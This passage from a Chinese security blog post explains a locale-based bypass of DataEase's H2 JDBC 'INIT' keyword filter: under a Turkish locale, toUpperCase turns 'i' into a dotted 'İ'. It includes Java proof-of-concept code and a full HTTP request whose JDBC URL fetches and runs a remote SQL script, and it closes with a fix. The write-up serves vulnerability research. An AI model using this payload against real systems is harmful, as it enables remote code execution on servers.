Locale<\/code> \u7528\u6765\u89c4\u5b9a\u201c\u8bed\u8a00 + \u5730\u533a\u5bf9\u5e94\u7684\u6587\u5316\u89c4\u5219\u201d\uff0c-Duser.language<\/code> \u548c -Duser.country<\/code> \u8bbe\u7f6e\u7684\u5c31\u662f JVM \u7684\u9ed8\u8ba4 Locale\uff0c\u5b83\u4f1a\u76f4\u63a5\u5f71\u54cd\u5b57\u7b26\u4e32\u5927\u5c0f\u5199\u3001\u6bd4\u8f83\u89c4\u5219\u3001\u683c\u5f0f\u5316\u548c\u56fd\u9645\u5316\u884c\u4e3a\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u7531\u8bed\u8a00\u73af\u5883\u81ea\u52a8\u8bbe\u7f6e\uff0c\u6bd4\u5982\u6211\u4eec\u73b0\u5728\u4e00\u822c\u662f\u4e2d\u6587\u8bed\u8a00\u73af\u5883\uff0c\u56e0\u6b64\u9ed8\u8ba4\u662f\u4e2d\u6587\uff0c\u5982\u679c\u6211\u4eec\u662f\u82f1\u6587\u8bed\u8a00\u73af\u5883\uff0c\u9ed8\u8ba4\u5c31\u662f\u82f1\u6587<\/p>\n\n\n\n\u7ee7\u7eed\u7ed5\u8fc7<\/h2>\n\n\n\n
\u6211\u4eec\u770b\u5230\u73b0\u5728 dataease \u73b0\u5728\u7684\u68c0\u6d4b\uff0c\u5b83\u5728\u7528 toUpperCase<\/code> \u8f6c\u5927\u5199\u65f6\u6ca1\u6709\u8bbe\u7f6e Locale<\/code>\uff0c\u56e0\u6b64\u9ed8\u8ba4\u9009\u62e9\u7684\u662f\u7528\u6237\u5f53\u524d\u7684\u5730\u533a\u5bf9\u5e94\u7684\u5b57\u7b26\u96c6\u7b49\u7b49\uff1a<\/p>\n\n\n\n![\"\"\/](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n\u8fd9\u91cc\u6709\u4e2a\u95ee\u9898\uff0c\u5f53\u6211\u4eec\u770b\u5230 h2 jdbc \u5e95\u5c42\u89e3\u6790 URL \u7684\u903b\u8f91\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u5728\u8f6c\u5927\u5199\u7684\u65f6\u5019\u5176\u5b9e\u662f\u8bbe\u7f6e\u4e86 Locale<\/code> \u7684\uff0c\u503c\u4e3a English<\/code>\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u8fd9\u91cc\u5176\u5b9e\u5e26\u6765\u4e86\u4e00\u4e2a\u5dee\u5f02\uff0c\u5c31\u662f\u4e0d\u540c\u5730\u533a\u5bf9\u5e94\u7684\u5b57\u7b26\u96c6\u548c\u8f6c\u6362\u89c4\u5219\u5176\u5b9e\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u4e5f\u56e0\u6b64 toUpperCase<\/code> \u4f1a\u5411\u4f7f\u7528\u8005\u63d0\u4f9b\u8bbe\u7f6e Locale<\/code> \u7684 api\uff0c\u6bd4\u5982\u6211\u4eec\u672c\u5730\u53ef\u4ee5\u505a\u4e2a\u6d4b\u8bd5\uff0c\u8bbe\u7f6e\u5730\u533a\u4e3a\u571f\u8033\u5176\uff1a<\/p>\n\n\n\n-Duser.language=tr -Duser.country=TR<\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6211\u4eec\u6765\u6d4b\u8bd5\u4e0b\u9762\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n
package JDBC;
\u200b
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Locale;
\u200b
public class H2RCE_Test {
public static void main(String[] args) throws Exception {
String url = \"iNIT=RUNSCRIPT\";
System.out.println(url.toUpperCase());
System.out.println(url.toUpperCase(Locale.ENGLISH));
}
}<\/pre>\n\n\n\n\u53ef\u4ee5\u53d1\u73b0\u4e00\u4e2a\u5f88\u795e\u5947\u7684\u4e8b\uff0c\u5bf9\u4e8e\u5b57\u6bcd i<\/code>\uff0c\u5f53\u5730\u533a\u4e3a TR<\/code> \u65f6\uff0c\u8f6c\u5927\u5199\u7684\u7ed3\u679c\u662f\u0130<\/code>\uff0c\u800c\u5bf9\u4e8e English<\/code> \u5b83\u662f\u6b63\u786e\u7684 I<\/code>\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u8fd9\u610f\u5473 dataease \u73b0\u5728\u7684\u8fd9\u5957\u68c0\u6d4b\u653e\u5728\u4e2d\u6587\u6216\u8005\u82f1\u6587\u5730\u533a\u6216\u8bb8\u662f\u6709\u6548\u7684\uff0c\u4f46\u662f\u653e\u5728\u571f\u8033\u5176\u7b49\u5730\u65b9\u5176\u5b9e\u662f\u80fd\u88ab\u7ed5\u8fc7\u7684\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u4e14\u7531\u4e8e h2 jdbc \u5e95\u5c42\u89e3\u6790\u65f6\u5f3a\u5236\u8d70\u7684 English<\/code>\uff0c\u6240\u4ee5\u5b83\u4e5f\u80fd\u6210\u529f\u88ab h2 \u5f15\u64ce\u89e3\u6790\uff1a<\/p>\n\n\n\npackage JDBC;
\u200b
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Locale;
\u200b
public class H2RCE_Test {
public static void main(String[] args) throws Exception {
String url = \"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;iNIT=RUNSCRiPT FROM 'http:\/\/127.0.0.1:50025\/poc.sql'\";
System.out.println(url.toUpperCase());
System.out.println(url.toUpperCase(Locale.ENGLISH));
if(url.toUpperCase().replace(\"\\\\\", \"\").contains(\"INIT\")){
System.out.println(\"wrong\");
}else{
System.out.println(\"bypass\");
}
Connection conn = DriverManager.getConnection(url);
}
}<\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u5728 dataease \u5e94\u7528\u91cc\u6211\u4eec\u4e5f\u53ef\u4ee5\u505a\u5177\u4f53\u7684\u6d4b\u8bd5\uff0c\u5c06\u8fd0\u884c\u65f6\u7684\u73af\u5883\u6539\u6210\u571f\u8033\u5176\u5730\u533a\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u786e\u5b9e\u80fd\u5728\u5b9e\u9645\u5e94\u7528\u4e2d\u7ed5\u8fc7\u68c0\u6d4b\u5b9e\u73b0 RCE\uff1a<\/p>\n\n\n\n
POST \/de2api\/datasource\/validate HTTP\/1.1\nHost: 127.0.0.1:8100\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko\/20100101 Firefox\/147.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nSec-GPC: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nIf-Modified-Since: Wed, 17 Dec 2025 22:15:56 GMT\nPriority: u=0, i\nContent-Type: application\/json\nContent-Length: 492\n\n{\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"h2\",\"configuration\":\"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2lOSVQ9UlVOU0NSaVBUIEZST00gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMjUvcG9jLnNxbCciLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9\"}<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u4fee\u590d\u65b9\u6cd5\u4e5f\u5f88\u7b80\u5355\uff0c\u8f6c\u5927\u5199\u7684\u65f6\u5019\u5730\u533a\u5f3a\u5236\u8bbe\u7f6e\u6210 English<\/code>\u5373\u53ef\uff0c\u5373\uff1a<\/p>\n\n\n\nif (jdbc.toUpperCase(Locale.ENGLISH).replace(\"\\\\\", \"\").contains(illegalParameter)) {
DEException.throwException(\"Has illegal parameter: \" + jdbc);
}<\/pre>\n","protected":false},"excerpt":{"rendered":"\u524d\u8a00 \u547d\u9014\u591a\u821b\u7684 dataease h2 jdbc \u6a21\u5757\u81ea\u5927\u5c0f\u5199\/unicode\u8f6c\u6362\/\u53cd\u659c\u6760\/json \u5c5e\u6027\u8986 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4130","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=4130"}],"version-history":[{"count":2,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4130\/revisions"}],"predecessor-version":[{"id":4137,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4130\/revisions\/4137"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=4130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=4130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=4130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20260201153420_6211_48-1-1.png\")
<\/div><\/figure>\n\n\n\n![\"\"](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/2025_06_QQ20250609-212033-1-2.png\")
<\/div><\/figure>\n\n\n\n![\"\"](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/QQ20260201-160729-31-3.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/QQ20260201-161000-2-3.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/QQ20260201-161314-1-4.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/QQ20260201-161447-1-5.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/QQ20260201-161555-1-6.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/02\/QQ20260201-161638-1-7.png\")
<\/div><\/figure>\n\n\n\n